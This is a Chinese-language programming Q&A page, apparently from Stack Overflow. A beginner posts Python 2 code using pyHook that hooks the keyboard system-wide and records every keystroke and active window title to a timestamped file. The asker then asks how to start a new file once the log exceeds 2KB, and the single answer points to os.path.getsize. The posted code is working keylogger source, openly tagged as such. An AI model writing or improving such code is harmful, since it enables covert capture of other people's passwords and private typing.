【问题标题】:Using own code in pyhook pumpmessages在 pyhook pumpmessages 中使用自己的代码
【发布时间】:2013-03-21 05:52:05
【问题描述】:

我想检查我正在写入密钥的文件是否超过 2Kb。如果它超过 2KB,那么我需要制作另一个文件并停止写入这个文件。我是python的初学者,请帮帮我。请指出我在哪里可以使用代码来检查文件是否超过 2kb。

import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime 
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path =  p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
    def OnKeyboardEvent(event):
        global lastWindow
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            print window 
            lastWindow = window
        print key
    hm = pyHook.HookManager()

    hm.KeyDown = OnKeyboardEvent

    hm.HookKeyboard()
    pythoncom.PumpMessages()

希望你能帮忙

【问题讨论】:

    标签: python file keylogger pyhook


    【解决方案1】:

    你可以使用.getsize

    >>> import os
    >>> b = os.path.getsize("/path/isa_005.mp3")
    >>> b
    2071611L
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2011-03-02
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多